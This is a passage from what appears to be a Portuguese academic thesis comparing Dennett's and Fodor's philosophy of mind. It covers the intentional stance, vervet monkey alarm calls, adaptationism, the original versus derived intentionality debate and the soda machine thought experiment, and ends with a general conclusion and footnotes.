Todavia, de forma crua, esta gradação pouco revela sobre a diferenciação entre sistemas intencionais. Em que nível, afinal, inicia-se a comunicação, de fato? Para Grice (1969), sistemas de, no mínimo, terceira-ordem poderiam estar comunicando-se. Se é certo que humanos podem atingir graus mais elevados de complexidade, como quarta ou quinta-ordem, e portanto comunicar-se, em animais as possibilidades são várias. O estudo dessas possibilidades é, para Dennett, uma abertura ao estudo da mente humana, do ponto de vista evolutivo, por clarificar como alteraram-se os graus de complexidade entre sistemas intencionais na natureza. O que poderia ser realizado através de experiências de pensamento, como de praxe na filosofia analítica, é por Dennett realizado a partir do trabalho de etologistas, como Robert Seyfarth, Dorothy Cheney e P. Marler, na África. Com efeito, este é o momento em que Dennett aproxima-se das ciências cognitivas, o que culminará com a publicação de A Idéia Perigosa de Darwin (1996) e Tipos de Mentes (1997).

O objeto de pesquisa do grupo de etologistas são os macacos da espécie Cercopithecus aethiops , ou macacos verdes africanos. Entre eles, diferentes alarmes são dados ao pressentir-se diferentes predadores. Cada alarme gera, nos macacos verdes, diferentes reações: um alarme de cobra os faz olhar para baixo, um de águia olhar para cima e um de leopardo correr para as árvores. A Dennett, este último servirá de exemplo, de base para o uso de sua teoria dos sistemas intencionais, ou seja, ele buscará identificar a complexidade atingida neste processo comunicativo, se é que há, de fato, comunicação. Vamos ao caso. Um macaco, Tom, dá um alarme de leopardo para outro, Sam. Que ordem de intencionalidade é aqui atingida? As possibilidades são muitas. Iniciemos pela de maior complexidade. Se os macacos verdes pudessem atingir uma intencionalidade de quarta-ordem, teríamos algo como: Tom quer que Sam reconheça que Tom quer que Sam acredite que há um leopardo. Em sistemas de terceira-ordem o processo é simplificado para algo como: Tom quer que Sam acredite que Tom quer que Sam corra para as árvores. Aqui, além do uso mais restrito do idioma intencional, há um imperativo, com Tom requisitando ou ordenando que Sam corra para as árvores. Na hipótese anterior, temos um ato informativo, marcado pelo desejo de Tom que Sam creia que há um leopardo.

É possível, ainda, descer a níveis mais básicos de complexidade. Em sistemas intencionais de segunda-ordem teríamos, por exemplo, que Tom quer que Sam creia que há um leopardo. Aqui, temos um estado intencional direto e unicamente relacionado a outro. Esta relação desaparece ao descermos para a primeira-ordem, onde Tom quer causar a corrida de Sam para as árvores. Assim fosse, não haveria, neste espécie de macacos, estados intencionais acerca de outros estados intencionais, mas apenas a produção de certos sons particulares que, por si sós, causam reações em outros macacos, sem recorrer-se ao reconhecimento de ambas as partes. Mas é possível retroceder ainda mais, negando até mesmo que os macacos verdes possuam estados intencionais. Com efeito, é possível imaginar uma ordem-zero, em que o macaco assustado, Tom, produz diferentes cheiros diante de diferentes predadores, sendo estes odores percebidos por outros macacos e neles causando reações.

Como identificar a hipótese correta? Se difícil é determinar que processo se dá em ordens mais altas de intencionalidade, é possível, através da observação, eliminar possibilidades menos complexas, como a por último citada. Por exemplo, é sabido que macacos verdes, se isolados do bando, sobem em árvores ao pressentir leopardos; silenciosamente. Haveria, portanto, um reconhecimento do outro, já que os macacos produzem seus alarmes apenas quando em grupo. Outra observação citada por Dennett, e relatada por Seyfarth, leva à consideração de níveis mais altos de intencionalidade. Ocorreu que, em uma disputa entre bandos, um dos grupos perdia território. Diante da situação, um dos macacos verdes, do bando até então mais fraco, soltou um alarme de leopardo. O bando que vencia dispersou-se subindo para as árvores, enquanto o outro recuperava seu território perdido. Aqui, a hipótese mais tentadora é a de que o macaco quer que o outro bando creia que alguém quer que eles corram para as árvores. Complexa, esta possibilidade exigiria dos macacos verdes um perfeito reconhecimento da situação ocorrida e dos estados mentais que o outro instanciaria em determinada situação.

O que temos, aqui, é a teoria dos sistemas intencionais estabelecendo uma série de alternativas a serem respondidas de forma empírica, como argumenta Dennett:

" The question is empirical. The tactic of adopting the intentional stance it not a matter of replacing empirical question with aprioristic investigations, but of using the stance to suggest which brute empirical questions to put to nature. We can test the competing hypothesis by exploiting the rationality assumption of the intentional stance" (Dennett, 1987:247) . 16

Portanto, o que busca Dennett neste momento não é diverso do que propunha quando da formulação de sua teoria dos sistemas intencionais. A postura intencional continua sendo o passo primeiro ao entender-se um sistema. Parte-se dela para, após, testar hipóteses empiricamente. Em macacos verdes ou em humanos, esta é, para Dennett, a metodologia a ser seguida.

Todavia, para alguns evolucionistas, como Stephen Jay Gould e Richard Lewontin (1979), partir de uma base não-empírica, como é a teoria dos sistemas intencionais, é recair em terreno desprovido de bases. Esta união entre etologia e métodos interpretativos, que otimiza o design do organismo estudado,ou seja, o chamado adaptacionismo , nada traria de científico às ciências cognitivas, desembocando em um beco-sem-saída regido unicamente pela imaginação do observador. A evidência deste anti-cientificismo seria a possibilidade sempre presente de que, em modelos na interpretação baseados, possa-se alterar a hipótese se uma anterior revela-se falsa. Tal poderia acontecer indefinidamente, com adaptações e mais adaptações. De fato, no modelo adaptacionista, hipóteses são estabelecidas a partir de uma otimização da natureza, considerando-se que ela produziu o organismo de maneira perfeitamente adequada ao ambiente. Caso esta primeira linha de hipóteses não se revele frutífera, altera-se o modelo, de modo a buscar novas possibilidades. Daí Gould e Lewontin nomearem tal metodologia de paradigma Panglossiano , em referência ao personagem Dr.Pangloss, de Voltaire, que, em uma caricatura de Leibniz, crê estar no melhor dos mundos possíveis. Qualquer catástrofe que aparentemente negue tal fato é por ele adaptada de forma a manter sua postura. Assim seria em Dennett. Por mais falsas que certas hipóteses se revelassem, haveria sempre novos modelos imaginários e adequados.

Dawkins (1980), porém, junto com Dennett, considera que estas críticas partem do pressuposto de que estaria-se, com o adaptacionismo, formulando uma teoria, no sentido clássico do termo. Este não seria o caso. Uma metodologia assim conduzida não seria passível de verdade ou falsidade, sendo um instrumento guia para a pesquisa empírica, nada mais. O adaptacionismo indica que perguntas devem ser feitas à natureza, otimizando sua produção e interpretando-se os resultados. De fato, Dennett toma toda interpretação de um organismo como requerendo alguma forma de otimização, como clarifica na citação abaixo.

"We take on optimality assumptions not because we naively think that evolution has made this the best of all possible worlds, but because we must be interpreters if we are to make any progress at all, and interpretation requires the invocation of optimality" (Dennett, 1999:184) . 17

Atentando-se um pouco para o já caminhado neste texto, notar-se-á a semelhança entre as críticas que Jay Gould, Lewontin, Stalnaker, Fodor, e outros, fazem a Dennett. Embora em diferentes âmbitos, a negação da postura intencional se dá através de um por em dúvida seu caráter científico, suas bases e seriedade. Assim Fodor(1992) estabelece sua crítica, afirmando que o anti-realismo instrumentalista, por Dennett representado, vale-se do idioma intencional sem comprometer-se com sua existência. Stalnaker (1989), ao tratar dos mundos nocionais, põe em dúvida sua eficácia por valer-se de modelos imaginários, sem levar em conta aspectos históricos do organismo. Tal estratégia não poderia atingir resultados válidos. Fora do âmbito da filosofia, Gould e Lewontin (1979) desacreditam que modelos formulados através da otimização da natureza possam servir à ciência, sendo meras ilusões do observador, sem relação com os aspectos biológicos do organismo.

Todas eles afirmam, nas entrelinhas, que o estudo da mente deve se dar em um território seguro, cientificamente alicerçado, evitando-se interpretações e modelos imaginários, ou ao menos, no caso de Fodor, levando-se a sério estados intencionais, considerado sua existência de fato e, a partir desta base, desenvolver uma pesquisa. Sendo sempre similares as críticas, são sempre mesmas as respostas de Dennett: da interpretação para a experimentação, e não o contrário.

– Intencionalidade Original x Intencionalidade Derivada

Tendo aportado no último momento de nossa análise de Intentional Stance , lidaremos, de agora em diante, com o ensaio Evolution, Error and Intentionality , marcado por duas discussões centrais: o fim da distinção entre intencionalidade original e derivada, no evolucionismo baseando-se, e a retomada do problema do erro, ou da disjunção, tendo como referência, agora, o proposto por Dennett. Iniciemos pelo primeiro ponto.

Ao imaginar-se um mapa, receita, ou artefatos, como robôs, claro fica que há ali formas de intencionalidade, ou seja, representações que estão acerca de outra coisa, como os ingredientes em uma receita de bolo, ou as informações que guiam um robô em um ambiente. São representações, no aspecto intencional, como as mentais, pelos humanos conhecidas. Todavia, desde John Searle (1983), costuma-se denominar tais formas de intencionalidade como sendo derivada , ou seja, são derivadas de nós, que produzimos artefatos, mapas, receitas e os provemos de representações acerca do mundo. Em contrapartida, nós, humanos, criadores de intencionalidade derivada, possuiríamos representações que, embora fisicamente geradas, de nenhum outro ser, ou lugar, proviriam. Seriam representações que dependem unicamente do próprio sistema, i.e, de nada derivam. A esta particularidade, Searle deu o nome de intencionalidade original, ou intrínseca . Há, portanto, uma distinção essencial entre sistemas gerados pelos humanos e eles próprios: os primeiros possuem intencionalidade derivada, os segundos, original.

Muitos foram os que aceitaram esta distinção, como Fodor (1992), Tyler Burger (1986), Saul Kripke (1982), e Fred Drestke (1985), que afirma das máquinas que elas "deixam de possuir algo que é essencial" (apud Dennett, 1988:2). Entre estes não está Dennett, que nunca aceitou a idéia os humanos possuem algo único, irreproduzível em artefatos. Como vimos, são, para ele, apenas níveis de complexidade. A intencionalidade humana seria, neste sentido, tão derivada quanto a de receitas de bolo. Buscando clarificar a distinção entre estas duas formas de intencionalidade, e caminhando em direção ao evolucionismo que justificará a postura de Dennett, passemos por sua experiência de pensamento.

Imagine-se uma máquina de refrigerantes. Nos E.U.A construída, ela foi designada para receber certas moedas de dólar e rejeitar outras. Ao receber uma moeda de um quarto de dólar, a máquina vai para um estado Q. Porém, objetos estranhos podem levar a máquina a este mesmo estado, se nela inseridas. Teríamos, aqui, um caso de erro, com algo não previsto no design da máquina a levando a um estado que deveria ser causado apenas por moedas de um quarto de dólar. É um caso semelhante aos que analisamos na primeira parte deste trabalho, com o problema da disjunção. Lá, duas representações mentais idênticas podiam haver sido causadas por diferentes objetos; um de acordo com a representação, outro diverso. Surgia uma disjunção, pois ambos objetos eram suficientes para causar a representação, ainda que um fosse verdadeiro e o outro falso. Ao representar mentalmente um gato na estrada, alguém pode, após, dar-se conta de que se tratava de uma caixa de papelão. No entanto, a caixa foi suficiente para uma representação de gato. Por conseguinte, esta representação R pode ser de um gato ou de uma caixa de papelão ou de um filhote de tigre. Recaímos em diversas disjunções. Com a máquina de refrigerantes isto não se dá. Por quê?

Por haver sido designada a receber moedas de dólar, qualquer objeto destes diversos constituem um erro. Uma máquina não recairá jamais em disjunções, tendo representações de moedas ou pedras ou fichas. Sua função é receber moedas de dólar; fora disto há o erro. Lembremos que, no problema da disjunção, buscava-se uma forma de legitimar o erro, eliminando assim a possibilidade de que objetos diversos causassem uma mesma representação mental. Não há este conflito aqui. Não há problema da disjunção quando lidamos com intencionalidade derivada. Por haver sido por alguém construído, o sistema possui funções determinadas, que visam interesse de quem o elaborou. Caso algo fuja dessa função, tem-se o erro puro e simples.

Todavia, voltando à maquina de refrigerante, é possível que sua função seja alterada. Imagine-se que ela seja transportada de sua pátria E.U.A para o Panamá. Lá, as moedas – balboas – possuem mesmo peso, diâmetro e composição material que os dólares americanos (Dennett, 1987). Assim, ao receber uma moeda de um quarto de balboa, a máquina irá para aquele mesmo estado Q. Está-se diante de um erro? Não se o artefato, ao ser transportado, foi designado por seus "chefes" a receber, a partir de agora, balboas e não dólares. Funcionando em território panamenho, o erro para a máquina seria receber moedas de dólar.Da mesma forma, os proprietários do artefato podem querer que, de agora em diante, ele funcione como um enfeite, ou obra de arte. Temos, enfim, que o objeto funciona de acordo com quem possui direitos sobre ele, tendo sua função por este determinada.

Embora, afirme Dennett (1987), até este momento, ele, Searle, Fodor, Kripke, Burge e outros estariam em concordância, aceitando que não o problema da disjunção ao se lidar com intencionalidade derivada, já aqui Fodor discorda do último passo do experimento mental. Não haveria a possibilidade de alterar-se a função do artefato, uma vez que ele foi construído com um certo propósito, como expõe no que se segue:

"On my view, but not on his (Dennett´s), if I build a machine that I intended to go into state S whenever I put a quarter in, then the machine is a quarter-accepter even if there are, in some part of the forest, Mexican rupees which are physically very like quarters and hence would make the machine go into state S if it were do encounter any" (Fodor, 1992:78) . 18

Porém, de fato, Fodor concorda com Dennett ao afirmar que " não há problema da disjunção para a intencionalidade derivada" (Fodor, 1992:78). O grande desencontro se dá por Fodor, Searle, Burge, Dretske, etc, considerarem o caso da máquina de refrigerantes irrelevante para assunções acerca da intencionalidade em humanos. Nós teríamos intencionalidade original, as máquinas, derivada. Neste ponto, o rompimento promovido por Dennett é radical: o mesmo esquema aplicado acima a uma máquina de refrigerantes poder ser transportado para o entendimento da intencionalidade humana. Embora sejamos sistemas extremamente complexos, apresentamos uma intencionalidade derivada, assim como a máquina de refrigerantes. Daí a experiência de pensamento acima, ser, para Dennett, reveladora sobre a natureza do erro em representações mentais. Todavia, se a intencionalidade de máquinas de refrigerante é derivada de nós, humanos, de onde deriva-se a nossa? A resposta, como de se esperar, apela para o evolucionismo.

"O cérebro é um artefato e obtém sua intencionalidade, seja qual for a intencionalidade que suas partes possuam, a partir do papel que desempenha na economia em funcionamento do sistema maior que faz parte – ou, em outras palavras, das intenções de seu criador, a Mãe natureza (também conhecida por processo de evolução por seleção natural)" (Dennett, 1987:53).

Fortememente inspirada por Dawkins e seu Gene Egoísta (1976), esta hipótese toma o organismo como possuindo funções determinadas pela Natureza, como resultado da evolução das espécies. Assim como a máquina de refrigerante, designada para tarefas específicas, nós possuiríamos órgãos "escolhidos" por suas específicas capacidades, tendo funções pré-estabelecidas. Ao analisar fenômenos complexos, como estados intencionais, deveria-se buscar na Natureza as respostas para entender as funções que desempenhamos, ou seja, perceber o que a Natureza "tinha em mente", nos termos de Dennett, no momento em que formulou o organismo.

Somos, portanto, em Dennett, artefatos, como máquinas de refrigerante, relógios e geladeiras, construídos pela Natureza, desempenhando suas determinações, buscando transmitir uma herança genética. Não há, nos humanos, algo a mais, que não possuem os animais e as máquinas. Somos apenas artefatos complexos.

Por conseguinte, por apresentarmos intencionalidade derivada, não haveria o problema da disjunção. Se o organismo realiza a função a ele designada, temos o sucesso, uma situação normal; se não, temos o erro, uma situação anormal. Voltamos, assim, a reposta teleológica para o problema da disjunção, já explicitada no primeiro capítulo. Lá, exemplificamos o argumento imaginando um sapo, alimentando-se de moscas e outros insetos. Considerando-se o ataque à moscas como a função de seus mecanismos biológicos, o ataque a outros insetos constituiria um caso de erro na representação, assim como receber objetos que não moedas constituiria um erro para a maquina de refrigerantes. Fodor, todavia, como também já visto, identifica nesta posição teleológica um problema. Assim como pode-se tomar moscas como sendo a função dos mecanismos biológicos do sapo, também pode-se tomar pontos pretos voadores como a sendo (Fodor, 1992). Em Darwin, não haveria uma determinação exata da função, importando, sobretudo, a sobrevivência da espécie. Quer sejam moscas ou outros insetos pretos voadores, importa ao sapo que se alimente. Este seria um caso, portanto, de indeterminação do conteúdo . O conteúdo da representação do sapo pode tanto ser moscas quanto pontos pretos voadores. Não há como determinar-se a função dos mecanismos; esta permanece velada.

Esta crítica, porém, em nada atinge a Dennett, pelo fato de que sua teleologia é interpretativa. A indeterminação do conteúdo é por ele aceita e, mais que isso, desempenha um papel fundamental em suas idéias, mantendo uma coerência com a postura intencional. Com efeito, não há como saber-se, de fato,qual a função dos mecanismos biológicos do sapo. Na verdade, não há mesmo o que saber. A metodologia de Dennett parte de um questionamento sobre o que Natureza "tinha em mente" ao conceber tal organismo. Em uma conseqüência da postura intencional, considera-se a Natureza como um agente racional, com crenças e desejos, e a estes interpreta-se. O resultado é a revelação das funções do organismo, mas de maneira puramente interpretativa. A função, portanto, como afirma Dennett, está nos olhos do observador. Não há funções estabelecidas de fato, reais, mas apenas estados passíveis de interpretação. Nem mesmo em máquinas há algo deste tipo. Como, vimos, a função destas é variável de acordo com a intenção de seu possuidor, podendo uma máquina de refrigerantes ser um encosto para portas e um relógio um peso para segurar folhas de papel. Dennett argumenta em favor desta proposta citando Darwin:

"Although an organ may not have been originally formed for some special purpose, if it now serve for this end we are justified in saying that it is specially contrived for it. On the same principle, if a man were to make a machine for some special purpose, but were to use old wheels, springs, and pulleys, only slightly altered, the whole machine, with all its parts, might be said to be specially contrived for that purpose" (Darwin apud Dennet t, 1987:320). 19

Fodor com tal posição também não concordaria. Como vimos acima, ao tratar do argumento da máquina de refrigerantes, ele nega que sua função possa ser alterada, permanecendo a mesma desde o momento de sua construção. Ainda que seja usada de outras formas, a máquina seria sempre destinada a vender refrigerantes e, conseqüentemente, receber moedas da forma que originalmente lhe foi designado. Já Dennett considera um erro questionar-se sobre funções reais, privilegiando o uso que se faz dos artefatos. Da mesma forma, erro também é buscar nas representações mentais seus significados verdadeiros, assim como buscar as funções reais dos organismos biológicos. O que se pode, se deve fazer, é interpretar os desejos da Natureza, obtendo um acesso ao design do organismo. Para Dennett, este é o começo. Realizado este passo, uma longa pesquisa tem início.

Conclusão- Capítulo II

A negação da linha divisória searliana entre intencionalidade original e derivada marca, para Dennett, o ponto final em suas divergências com os realistas, ou seja, as clarifica por fim. Desde o início do capítulo, abordamos as distinções entre a obra de Dennett e Fodor, Dennett e Searle, já afirmando que as buscas entre estes eram diversas. Fodor e Searle, embora naturalistas, perseguem na mente algo a mais, que não podem possuir as máquinas, algo real e intrínseco. Dennett, desde sempre, perseguiu a mente enquanto um sistema complexo, mais do que máquinas, e no caso humano, do que animais outros; mas jamais afirmou que possuímos algo que outros sistemas não podem possuir. Não defendeu nunca a abordagem literal de desejos e crenças, permanecendo sempre um quiniano, tomando estados mentais como necessários às práticas sociais. Ainda assim, faltava-lhe, em sua discussão com a linha realista, clarificar sua posição, já que, como visto, considerava-se um realista, embora não da forma clássica, a que costumava chamar de Realista, com "R" maiúsculo. Como revela em Evolution, Error and Intentionality , mesmo para ele as divergências não eram claras. Seguia uma tradição analítica diferente, de linha não-realista, embora também com este rótulo não se sentisse confortável, pressentindo que uma distinção maior poderia ser feita entre sua posição e a defendida por tantos.

Dennett, por certo, nunca acreditou em uma intencionalidade original. Todavia, só em 1985, ao discutir pessoalmente o problema do erro, ou da disjunção, com Fodor, percebeu o ponto. Tal se deu quando buscou argumentar, nesta discussão, através de uma experiência mental, a da máquina de refrigerantes. Fodor considerou de pronto um caminho infrutífero, pois máquinas possuiriam apenas intencionalidade derivada, e nós intencionalidade original. Não se poderia, portanto, buscar resolver o problema da disjunção através de uma experiência mental com máquinas (Dennett, 1987). Ora, para Dennett, nossa intencionalidade é da mesma natureza de uma máquina de refrigerantes, de uma receita de bolo. Percebeu, aí, que possuía, enfim, uma porta aberta para riscar, de vez por todas, a linha divisória entre ele e os seguidores da distinção de Searle. Não há intencionalidade original pelo simples fato de que nossa própria intencionalidade é derivada das intenções da Natureza, do resultado de um processo de seleção natural. Assim como o design da máquinas é derivado dos humanos, o dos animais é derivado da evolução. Dentre estes, há um mais complexo, capaz inclusive de negar as intenções da Natureza: os humanos. Volta-se, assim, ao ponto inicial. São níveis de complexidade que separam os sistemas intencionais.

Com isto, Dennett explicita sua divergência, deixando de lado os problemáticos termos "realismo" e "anti-realismo" e diferenciando-se de filósofos como Fodor por sua defesa unicamente da intencionalidade derivada. Ao mesmo tempo, distancia-se, também, de sua tradição originária, provinda de Quine, que se satisfaz em uma abordagem dos estados mentais a partir de uma postura pragmática, esvaziando o problema da mente ao tratá-lo como parte da relação entre homem e mundo. Dennett, ao unir-se às ciências cognitivas, não põe o problema de lado; resolve confrontá-lo em uma perspectiva evolucionista, seguindo sua metodologia inicial: da interpretação para o empírico. Enquanto filósofos como Davidson e Rorty (1997) têm sua obra centrada no aspecto social dos estados mentais, o que torna possível predizer o comportamento de outros organismos, em Dennett este passo, a postura intencional, serve como base para uma pesquisa que unir-se-á às ciências cognitivas. Mais precisamente, Dennett adotará, em seu evolucionismo, uma linha adaptacionista, que parte, como a teoria dos sistemas intencionais, de otimizações e interpretações.

As conseqüências deste segundo momento de Dennett, já levando adiante sua pesquisa baseada na evolução natural, estão publicadas em obras como A Idéia Perigosa de Darwin (1996) e Tipos de Mentes (1997). Nestas obras, o surgimento da intencionalidade é identificado através da evolução, em organismos dos mais primitivos aos mais complexos. Porém, também neste momento de sua obra, Dennett mantém-se fiel à sua postura intencional, cuja adoção permanece sendo o primeiro passo para o entendimento da mente. Segundo passo: conjunção entre postura intencional e evolucionismo, com hipóteses acerca do que a Natureza "tem em mente". Só após trilhar este caminho, o mesmo de Intentional Stance , parte Dennett o âmbito das ciências cognitivas, analisando a evolução dos sistemas intencionais, dos que possuem intencionalidade do chamado tipo como se – que tomamos como possuidores de intencionalidade embora não o sejam – a nós, humanos. Com efeito, é imensa sua crença neste metodologia, a tal ponto que termina por considerá-la a única capaz de dar conta do fenômeno da intencionalidade, como afirma em Tipos de Mentes :

"(…) A intencionalidade que nos permite falar e escrever e nos maravilhar com todas as maneiras de maravilhar-se é inegavelmente um produto complexo e tardio de um processo evolutivo que possui todos os tipos mais grosseiros de intencionalidade- menosprezados por Searle e outros como ‘simples intencionalidade do tipo como se’ – como ancestrais e componentes contemporâneos. Somos descendentes de robôs, e compostos por robôs, e toda a intencionalidade que desfrutamos é derivada da intencionalidade mais fundamental destes bilhões de sistemas intencionais grosseiros. Eu não estou caminhando para trás; estou indo para a frente. Esta é a única direção promissora para viajar. E a jornada está situada à nossa frente" (Dennett, 1997:55).

Resta-nos fazer notar, por fim, que, embora não o tematize, com afirmávamos no início do capítulo, Dennett termina por adotar o mais profundo naturalismo. Adotando uma posição não-redutivista, muitas vezes tomada como sendo a única no caminho da naturalização da mente, sua adoção do evolucionismo põe-se a caminho em busca de compreender os estados mentais em seu desenvolvimento, dentro da evolução das espécies, como o mais natural dos fenômenos, absolutamente imerso no âmbito físico.

Conclusão Geral

Após a análise das obras de Fodor e Dennett, nos cabe, neste momento final, esboçar uma reflexão em torno das conclusões de cada capítulo, que trazem já o arremate das obras abordadas. Pretendemos, a seguir, tratar de algumas perspectivas para o estudo da mente, incluindo as obras de Dennett e Fodor neste panorama. Primeiramente, revisemos de forma reflexiva o resultado final de Intentional Stance e Theory of Content and Other Essays .

Ao final do segundo capítulo, defendíamos a coerência entre a obra com bases evolucionistas de Dennett, que tem início com Intentional Stance , e sua obra inicial. De fato, ambos os momentos caminham através de interpretações do observador. Por seus críticos, Dennett é considerado um "easy moving target", expressão que se refere à mudanças constantes de posição. O que concluímos, todavia, é que sua obra acresce-se de um imenso número de elementos ao longo do tempo, deixando para trás o momento em que não ia além de Davidson e Quine, para arriscar-se no âmbito das ciências cognitivas, o que não significa que altere suas bases, que permanecem as mesmas, o que é evidenciado, como vimos, pelas críticas à sua obra, que também tendem a ser semelhantes, a atacar os mesmos pontos. Como desde o começo afirmamos, Dennett obedece a uma metodologia que parte do funcionamento dos sistemas para uma futura pesquisa empírica. É a possibilidade desta pesquisa que o leva ao evolucionismo, onde é capaz de buscar a intencionalidade na evolução das espécies. Este é um passo, portanto, já previsto na obra inicial de Dennett, que nunca mostrou-se disposto a permanecer no âmbito de um pragmatismo, como o faz Rorty. Coerente sua obra é, mantendo permanentemente as mesmas bases, sem recair em contradições, como com Fodor se deu. Se o caminho evolucionista adotado é o mais frutífero, como acredita ele, é algo a pôr-se em dúvida. Para quem repousava no porto seguro da postura intencional, adotar o evolucionismo é um passo de imenso risco e fôlego. Dennett, não está, como nunca esteve, satisfeito com uma resposta que elimine o problema, que o transforme em um pseudoproblema, ainda que seja filosoficamente adequada para o questão da mente. A tarefa que a si designou é a de compreender a intencionalidade nos mais variados sistemas, mais grosseiros, para, por fim, atingir a intencionalidade humana, que se não traz propriedades mágicas, permanece um desafio por sua complexidade.

Fodor, por sua vez, carece de fidelidade em certos aspectos de sua pesquisa, o que trouxe sua obra a um ponto de interrogação. Por buscar uma compreensão literal dos estados mentais, por querer garantir a causalidade mental, Fodor precisa valer-se de um dos mais variados elementos. Inclua-se, aqui, a necessidade de leis no âmbito psicológico, o que evitará que recaia em um epifenomenalismo. Ou seja, em Fodor, só há causalidade mental em caso da existência, de fato, de leis psicológicas. Ao analisar o processo de implementação destas leis, Fodor volta a um dos elementos do funcionalismo, afirmando que são computacionais e sintáticos. Volta-se, com isso, ao internalismo, já que na teoria funcionalista são requeridas propriedades internas, que por completo dariam conta do conteúdo mental. Todavia, Fodor já não mais acredita que o conteúdo mental seja determinado em seu todo por processos internos, como deixa claro em sua teoria do conteúdo. Como unir externalismo e funcionalismo? Em obras que se seguem a Theory of Content, Fodor procura resolver este problema, que resulta de uma reviravolta em seu pensamento.

As dificuldades na obra de Fodor são muitas, resultantes de sua adoção de um realismo radical. Está-se em busca de como naturalizar a mente mantendo-se, garantindo-se a causalidade mental, a existência factual e causal dos estados mentais. Fodor, sabemos, parte de uma hipótese intuitiva. Porém, como legitimar intuições acerca do mundo tomando-as de forma literal? O que é uma hipótese intuitiva além de uma maneira eficaz e socialmente útil de compreender o mundo? Dennett as toma na segunda forma, sem comprometer-se com a existência literal das noções que povoam a psicologia popular. Se há de tomar-se seriamente tais hipóteses, não parece haver um caminho, hoje, mais indicado que o de uma pesquisa interdisciplinar, envolvendo as ciências cognitivas em seu todo, empiricamente buscando sua comprovação ou refutação.

Fodor, ao negar qualquer pragmatismo e qualquer apelo cientificista, permanece em um império de elucubrações acerca de questões de fato, de verdades do mundo, povoado, ao longo do tempo, por processos computacionais, linguagem de pensamento e leis psicológicas. Recai, ao adotar este último ponto, em mais uma forma de dualismo, considerando que há, no âmbito mental, leis distintas do físico, leis próprias a governar o psicológico. Evita o epifenomenalismo, mas recai em mais um argumento que apela para a distinção entre mente e corpo. Uma maneira que Fodor teria de desviar-se de tais problemas seria abandonar, de vez por todas, os elementos funcionalistas que permeiam sua obra, esvaziando a mente de elementos internos e a tomando através de uma relação com o mundo, i.e, seguir a trilha de Putnam, tornar-se externalista. Mas Fodor precisa ainda preservar seus elementos realistas, como a causalidade mental, necessitando, assim, de tais coisas como leis psicológicas e outras descrições internalistas.

Como afirmam Davidson e Rorty (1997), tomar a mente a partir de interações entre células nervosas, como procede a neurofisiologia, é adotar uma das formas possíveis de descrever-se a mente. Tomá-la de forma macro, privilegiando o papel que possui na adaptação entre homem e mundo, é uma outra forma de descrever o mesmo processo, como argumenta Rorty:

"Nós esperamos que a fisiologia possa algum dia traçar um caminho a partir da distribuição elétrica de descargas elétricas em meu cérebro até as interfaces dos músculos nervosos em minha gargantae, por conseguinte, nos viabilizar predizer soluções por sobre a base dos estados cerebrais. Mas nós já temos, no que tem sido chamado ‘psicologia popular’, uma explicação que prevê minha ação que por sobre a base de minha crença mais recentemente adquirida, tomada conjuntamente com o resto de minhas crenças. Davidson sugere que nós vejamos essas duas explicações como duas descrições do mesmo processo, e os eventos ‘mentais’ e ‘físicos’ como os mesmos eventos sob duas descrições" (Rorty, 1997:158).

Não há, entre as duas descrições, graus de verdade, mas apenas o fato de que a segunda, no discurso cotidiano, é mais útil, já que não seria em nada prático explicar cada ato através de descrições neurofisiológicas. Fodor não adota nenhuma destas duas descrições, permanecendo em um meio termo, considerando a psicologia popular como literalmente verdadeira, o que lhe é garantido através de propriedades internas. O problema, seguindo o proposto por Davidson e Rorty, não é que a descrição adotada por Fodor não vá jamais atingir uma verdade fundamental – nem ao menos se considera a existência de tais coisas- mas sim que, neste momento de sua obra, ela não funciona . Recai em um sem número de contradições, como acima vimos, pelo fato de requerer uma união entre externalismo e internalismo. Se sua teoria do conteúdo é bem resolvida, é por ser de natureza externalista, não se valendo de elementos internos. Com ela, Fodor atinge o primeiro de seus objetivos: uma teoria naturalista da representação mental. Seu outro objetivo, a preservação da causalidade mental, é que torna sua obra problemática, por requerer uma teoria que leve em conta elementos internos e com poderes causais.

Dennett, por ter as fases de sua obra previstas desde sua base, não recai em tais impasses, permanecendo fiel a seu primeiro momento, a postura intencional, que, nas práticas sociais, funciona. Ele parte, portanto, da segunda descrição citada por Rorty, embora seu projeto final seja de união entre uma gama de descrições. Jamais, para Dennett, poderia a neurofisiologia caminhar isoladamente, sem o apoio de outras ciências cognitivas. Sua descrição micro teria o gap de não analisar a mente no âmbito das práticas sociais, de forma holística, de forma macro. Também não se poderia permanecer em uma descrição puramente voltada aos aspectos sociais da mente, pois assim desviaria-se do problema central, que é uma compreensão de fenômenos como a intencionalidade em seu surgimento. Resta, portanto, promover-se uma união entre diversas descrições.

De fato, este caminho interdisciplinar é fundamental para a ciência, que, por ter uma descrição puramente reducionista da mente, precisa ter em vista seu funcionamento e possíveis barreiras a encontrar-se no caminho, como o modo individual de percepção do mundo, o qualia, que resiste a uma descrição micro. Também para a filosofia não é menos essencial atentar-se à busca científica da mente, ainda que se adote uma descrição voltada para a relação entre mente e mundo. É o conhecimento do proceder científico que permite a compreensão de suas limitações, deixando clara a necessidade de abordar-se a mente de forma diversa. Imperativo é que as variadas descrições do mental entendam-se como tal, sem buscar para si um privilégio de ser o correto caminho na jornada pela verdade. O que há são diferentes interpretações do fenômeno. O critério para selecionar uma teoria em lugar de outra deve ser seu funcionamento, seja em um âmbito científico ou pragmático. Seguindo-se este proceder, há uma descrição do mente que inegavelmente funciona: a forma como a tomamos no discurso cotidiano. Esta será sempre, portanto, uma firme base para o entendimento da consciência e suas características, não por ser uma interpretação literalmente verdadeira, mas por render bons resultados.

Notas

  1. " Não vejo como sair disto: uma teoria causal precisa caracterizar representação e normalidade de forma que não haja erro de representação em circunstâncias normais. Minha visão é: se esse é o preço a se pagar por uma teoria da representação com a qual se possa trabalhar, nós temos simplesmente que pagá-lo" (Tradução Nossa). Voltar
  2. " Não estou certo de que essa história de teleologia/otimização seja falsa, mas a acho sim completamente insatisfatória"(Tradução Nossa) . Voltar
  3.   " Alguma de nossas práticas lingüísticas pressupõem algumas de nossas outras, e é plausível que práticas de aplicar termos (nomes a seus predicados portadores a coisas em suas extensões) estejam no fundo da pilha". Voltar
  4.   " Se não for literalmente verdadeiro que meu querer é casualmente responsável por meu alcançar, e minha coceira responsável por meu coçar, e meu crer responsável por meu dizer, (…), se nada disto for literalmente verdadeiro, então praticamente tudo em que acredito sobre qualquer coisa é falso e é o fim do mundo" (Tradução Nossa). Voltar
  5.   " P é uma propriedade causalmente responsável se for projetada por uma lei causal" (Tradução Nossa). Voltar
